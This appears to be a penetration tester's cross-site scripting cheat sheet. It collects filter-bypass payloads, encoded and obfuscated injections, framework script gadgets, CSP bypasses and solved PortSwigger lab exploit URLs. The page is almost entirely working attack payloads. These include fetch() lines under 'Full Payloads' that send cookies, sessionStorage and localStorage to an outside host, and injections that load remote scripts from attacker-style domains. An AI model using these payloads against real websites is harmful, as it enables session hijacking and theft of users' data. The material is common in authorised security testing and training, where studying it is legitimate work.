Link to this headingXSS

Tools:

Bypasses:
XSS: Arithmetic Operators & Optional Chaining To Bypass Filters & Sanitization
Portswiger One XSS cheatsheet to rule them all
hack Tricks Wiki

Link to this headingClient-side Sanitation

Using the template tag you can have the client parse untrusted user data without executing it. After you can view and remove any unwanted tags and set the HTML.

This can be bypassed by the noscript tag. This is because noscript is parsed differently when javascript is enabled and when it is disabled.

Example Payload:
<noscript> <p title="</noscript><img scr=x onerror=alert(1)>">

Link to this headingProof of Concepts

Running JS functions without parentheses

Email Address XSS:

"<script>alert(1)</script>"@example.com foo'onclick='alert'foo='@example.com

Multi-pass filter bypass:

<p/style="xss:e xpression(alert(document.cookie))"> <img/width="100"src="http://site/image.jpg"o nLoad="alert(document.cookie)">

Javascript in SRC feild:

"><iframe src="javascript:alert(0)">

No whitespace:

<img/src="mars.png"alt="mars">

No Quotes:

<svg/onload=alert(document.domain)>

Assign Paramater Value:

<object><param name="src" value= "javascript:alert(0)"></param></object>

Double URL Encoding:

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E

SVG Payload:

<svg+onload=+"aler%25%37%34(1)"

Triple URL Encoding:

<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

Limited Charset:

<img/src="x"/onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()">

Multi Encoding:

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">

JSP Context Path Payload:

http://127.0.0.1:8080/&sol;rakeshmane.com/xss.js&num;/..;/..;/contextPathExample/test.jsp

Limited Size:

<!-- If you control the name, will work on Firefox in any context, will fail in chromium in DOM --> <svg/onload=eval(name)> <!-- If you control the URL, Safari-only --> <iframe/onload=write(URL)> <!-- If you control the URL --> <svg/onload=eval(`'`+URL)> <!-- If you control the name, but unsafe-eval not enabled --> <svg/onload=location=name> <!-- Just a casual script --> <script/src=//NJ.₨></script> <!-- If you control the name of the window --> <iframe/onload=src=top.name> <!-- If you control the URL --> <iframe/onload=eval('`'+URL)> <!-- If number of iframes on the page is constant --> <iframe/onload=src=top[0].name+/\NJ.₨?/> <!-- for Firefox only --> <iframe/srcdoc="<svg><script/href=//NJ.₨ />"> <!-- If number of iframes on the page is random --> <iframe/onload=src=contentWindow.name+/\NJ.₨?/> <!-- If unsafe-inline is disabled in CSP and external scripts allowed --> <iframe/srcdoc="<script/src=//NJ.₨></script>"> <!-- If inline styles are allowed --> <style/onload=eval(name)> <!-- If inline styles are allowed, Safari only --> <style/onload=write(URL)> <!-- If inline styles are allowed and the URL can be controlled --> <style/onload=eval(`'`+URL)> <!-- If inline styles are blocked --> <style/onerror=eval(name)> <!-- Uses external script as import, doesn't work in innerHTML unless Firefox --> <!-- The PoC only works on https and Chrome, because NJ. checks for Sec-Fetch-Dest header --> <svg/onload=import(/\\NJ./)> <!-- Uses external script as import, triggers if inline styles are allowed. <!-- The PoC only works on https and Chrome, because NJ. checks for Sec-Fetch-Dest header --> <style/onload=import(/\\NJ./)> <!-- Uses external script as import --> <!-- The PoC only works on https and Chrome, because NJ. checks for Sec-Fetch-Dest header --> <iframe/onload=import(/\\NJ./)> <script src=//⑮.></script>

Link to this headingUTF8 Payloads

<input type="search" onsearch="aler\u0074(1)"> <svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()">
%u00ABscript%u00BB &#x3008 ;script&#x3009 ; U%2bFF1CscriptU%2bFF1E &#x2039 ;script&#x203A ; &#x2329 ;script&#x232A &#x27E8 ;script&#x27E9 ;

Link to this headingHTML Context

HTML Context:

HTML Context with chrome bypass:
Unknown

HTML Context with htmlspecialchars:
Unknown

Link to this headingHTML Attribute Context

HTML Attribute Context Double Quote:

HTML Attribute Context Double Quote chrome bypass:
Unknown

HTML Attribute Context Double Quote with htmlspecialchars:
Unknown

HTML Attribute Context Single Quote with htmlspecialchars:

HTML Attribute Context Single Quote chrome bypass:
Unknown

HTML Attribute Context No Quote with htmlspecialchars:

HTML Attribute Context No Quote encoded chrome bypass:

Event Handlers:

  • onblur
  • onclick
  • oncopy
  • oncontextmenu
  • oncut
  • ondblclick
  • ondrag
  • onfocus
  • oninput
  • onkeydown
  • onkeypress
  • onkeyup
  • onmousedown
  • onmousemove
  • onmouseout
  • onmouseover
  • onmouseup
  • onpaste

Auto event handler:

<input type="text" name="wtv" onfocus="console.log('cant control')" value="" onfocusin="alert('XSS')" autofocus> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)>

Link to this headingJavaScript Context

JavaScript Context chrome bypass:

JavaScript Context chrome bypass with htmlspecialchars:

JavaScript Concatenation:

'+alert(1)+' var searchTerms = ''+alert(1)+'';

Bypass simple escaping:

\'+alert(1)+// var searchTerms = '\\'+alert(1)+//';

Possible HTML Decode Excape with valid URL:

http://example.com#&apos;);alert(1);a=apos;

Look for javascript template injection:

${alert(1)}

Link to this headingURL Context

If you can make a link in a tag then you can change it to a javascript tag

javascript:alert(1) data:text/plain,alert('xss')

Then it looks like this <a href="javascript:alert(1)"> or <a href="data:text/plain,alert('xss')">

Link to this headingCSS

uBlock, I exfiltrate: exploiting ad blockers with CSS

Link to this headingFlash

Link to this headingOpera XSS Configuration

UEmbed an Iframe with src=‘opera:config’. The you can use opera.setPreference("Proxy","HTTP Server","at.tack.er:8080") to set a HTTP proxy.

opera:historysearch?q=*%22%3E%3Cscript+src='http:%2f%2fat.tack.er% 2fs.js'%3E%3C%2fscript%3E&p=1&s=1

and you’ll get at the bottom:

<ul><li><a rel="prev" href="opera:historysearch?q=*"><script src='http://at.tack.er/s.js&apos;></script>&amp;p=1&amp;s=0">Precedente</a></li> <li>Successiva</li></ul> </body></html>

Link to this headingGoogle Chrome XSS Injector bypass

The Chrome Auditor is broken when the site has more than one injection point.

Example:

Translates to:

<body> Name: <script>a="</br> Value: "; alert("XSS HERE");</script>

Link to this headingFull Payloads

Enumerate:

//Exfiltrate Cookies fetch('//example.com/cookies?b64=' + btoa(document.cookie), { mode: 'no-cors'}) //Exfiltarte Session Storage fetch('//example.com/sessionStorage?b64=' + btoa(JSON.stringify(window.sessionStorage)), { mode: 'no-cors'}) //Exfiltarte Local Storage fetch('//example.com/sessionStorage?json=' + JSON.stringify(window.localStorage), { mode: 'no-cors'})

Link to this heading.NET Bypasses

All is XSS that comes to the .NET

Link to this headingHTML 5 XSS

HTM5 XXS payloads

Link to this headingXSS Scanners

XSS Techniques
XSS Backend to Catch and Log data
XSS detector (old)
XSS Scanner equipped with powerful fuzzing engine & intelligent payload generator

xsssniper --url http://liveoverflow.com/youtube/xss_testbed.php\?aa\=test2 --random-agent

Link to this headingDOM XSS

Sources:

document.URL document.documentURI document.URLUnencoded document.baseURI location document.cookie document.referrer window.name history.pushState history.replaceState localStorage sessionStorage IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) Database

OpenRedirect Syncs:

location = location.host = location.hostname = location.href = location.pathname = location.search = location.protocol = location.assign() location.replace() open() domElem.srcdoc #Ajax request manipulation XMLHttpRequest.setRequestHeader() XMLHttpRequest.open() XMLHttpRequest.send() jQuery.globalEval() $.globalEval() jQuery.ajax() $.ajax() #HTML5-storage manipulation sessionStorage.setItem() localStorage.setItem() #DoS requestFileSystem() RegExp() #Client-Side SQl injection executeSql() #Javascript Injection eval() Function() constructor setTimeout() setInterval() setImmediate() execCommand() execScript() msSetImmediate() range.createContextualFragment() crypto.generateCRMFRequest() #Local file-path manipulation FileReader.readAsArrayBuffer() FileReader.readAsBinaryString() FileReader.readAsDataURL() FileReader.readAsText() FileReader.readAsFile() FileReader.root.getFile() FileReader.root.getFile() #Link manipulation someDOMElement.href someDOMElement.src someDOMElement.action #XPath injection document.evaluate() someDOMElement.evaluate() #Document-domain manipulation document.domain #Web-message manipulation postMessage() #DOM-data manipulation scriptElement.src scriptElement.text scriptElement.textContent scriptElement.innerText someDOMElement.setAttribute() someDOMElement.search someDOMElement.text someDOMElement.textContent someDOMElement.innerText someDOMElement.outerText someDOMElement.value someDOMElement.name someDOMElement.target someDOMElement.method someDOMElement.type someDOMElement.backgroundImage someDOMElement.cssText someDOMElement.codebase document.title document.implementation.createHTMLDocument() history.pushState() history.replaceState() #jQuery add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML() #Client-side JSON injection JSON.parse() jQuery.parseJSON() $.parseJSON() #Cookie Manipulation document.cookie #Websocket URL poisoning Websocket

Create a new element with Jquery:

$('<>')

Link to this headingdocument.write sink using source location.search

Vulnerable JavaScript:

function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); }

Exploit URL:
https://acec1fc31e7a7cf580253de500870065.web-security-academy.net/?search=%22+onload%3D%22alert%281%29

Link to this headingdocument.write sink using source location.search inside a select element

Vulnerable JavaScript:

var stores = ["London","Paris","Milan"]; var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } for(var i=0;i<stores.length;i++) { if(stores[i] === store) { continue; } document.write('<option>'+stores[i]+'</option>'); } document.write('</select>');

Exploit URL:
https://ac6f1f941ffbb6a680ee474600bb00a0.web-security-academy.net/product?productId=1&storeId=%3Cscript%3Ealert(1)%3C/script%3E

Link to this headinginnerHTML sink using source location.search

Vulnerable JavaScript:

function doSearchQuery(query) { document.getElementById('searchMessage').innerHTML = query; } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { doSearchQuery(query); }

Exploit URL:
https://ac7f1f0c1f3fb2e2808a02790056000f.web-security-academy.net/?search=%3Cimg+src%3D1+onerror%3D%22alert%281%29%22%3E

Link to this headingjQuery anchor href attribute sink using location.search source

Vulnerable JavaScript:

<div class="is-linkback"> <a id="backLink">Back</a> </div> <script> $(function() { $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath')); }); </script>

Exploit URL:
https://acd31ff01eab9100808b005e00e900e4.web-security-academy.net/feedback?returnPath=javascript:alert(1)

Link to this headingAngularJS expression with angle brackets and double quotes HTML-encoded

Test Angular Expression:
https://ac9f1f7e1e047c7680533e8b006e0089.web-security-academy.net/?search=%7B%7B1%2B1%7D%7D

Vulnerable JavaScript:

<body ng-app="" class="ng-scope"> <div theme="blog"> <section class="maincontainer"> <div class="container"> <section class="blog-header"> <h1>0 search results for '2'</h1> <hr> </section> <section class="search"> <form action="/" method="GET" class="ng-pristine ng-valid"> <input maxlength="600" type="text" placeholder="Search the blog..." name="search"> <button type="submit" class="button">Search</button> </form> </section> <section class="blog-list"> <div class="is-linkback"> <a href="/">Back to Blog</a> </div> </section> </div> </section> </div> </body>

Exploit URL:
https://ac9f1f7e1e047c7680533e8b006e0089.web-security-academy.net/?search=%7B%7B%24on.constructor%28%27alert%281%29%27%29%28%29%7D%7D

Link to this headingScript Gadget

Set HTML from data-text:

<div data-role="button" data-text="&lt;script&gt;alert(1)&lt;/script&gt;"></div> <script> var buttons=$("[data-role=button]"); buttons.html(button.getAttribute("data-text")); </script>

Knockout XSS Script Gadget:

<div data-bind="value: alert(1)"></div>

Ajaxify XSS Script Gadget:

<div class="document-script">alert(1)</div>

Bootstrap XSS Script Gadget:

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'>

Google Closure XSS Script Gadget:

<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a> <form id=CLOSURE_UNCOMPILED_DEFINES> <input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>

RequireJS XSS Script Gadget:

<script data-main='data:1,alert(1)' src='require.js'></script>

Ember XSS Script Gadget:

<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me/>

Ember Dev XSS Script Gadget:

<script type=text/x-handlebars> <script src=//attacker.example.com// /> </script>

jQuery XSS Script Gadget:

<form class="child"> <input name="ownerDocument"/><script>alert(1);</script></form>

jQuery Mobile XSS Script Gadget:

<div data-role=popupid='--><script>"use strict"alert(1)</script>'></div>

Bypassing CSP strict-dynamic via Bootstrap:

<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>

Bypassing sanitizers via jQuery Mobile:

<div data-role=popup id='--><script>alert(1)</script>'></div>

Bypassing NoScript via Closure (DOM clobbering):

<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>

Bypassing ModSecurity CRS via Dojo Toolkit:

<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">

Bypassing CSP unsafe-eval via underscore templates:

<div type=underscore/template> <% alert(1) %> </div>

Aurelia XSS Script Gadget:

<div ref="me" s.bind="$this.me.ownerDocument.createElement('script')" data-bar="${$this.me.s.src='data:,alert(1)'}" data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>

Polymer 1.x XSS Script Gadget:

<template is=dom-bind><div five={{insert(me._nodes.0.scriptprop)}} four="{{set('insert',me.root.ownerDocument.body.appendChild)}}" three="{{set('me',nextSibling.previousSibling)}}" two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}} scriptprop={{_factory()}} one={{set('_factoryArgs.0','script')}}> </template>

Polymer 1.x XSS Script Gadget:

<template is=dom-bind><div c={{alert('1',ownerDocument.defaultView)}} b={{set('_rootDataHost',ownerDocument.defaultView)}}></div> </template>

AngularJS 1.6+ XSS Script Gadget:

<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)">

Ractive Stealing CSP nonces:

<script id="template" type="text/ractive"> <iframe srcdoc=" <script nonce={{@global.document.currentScript.nonce}}> alert(1337) </{{}}script>"> </iframe> </script>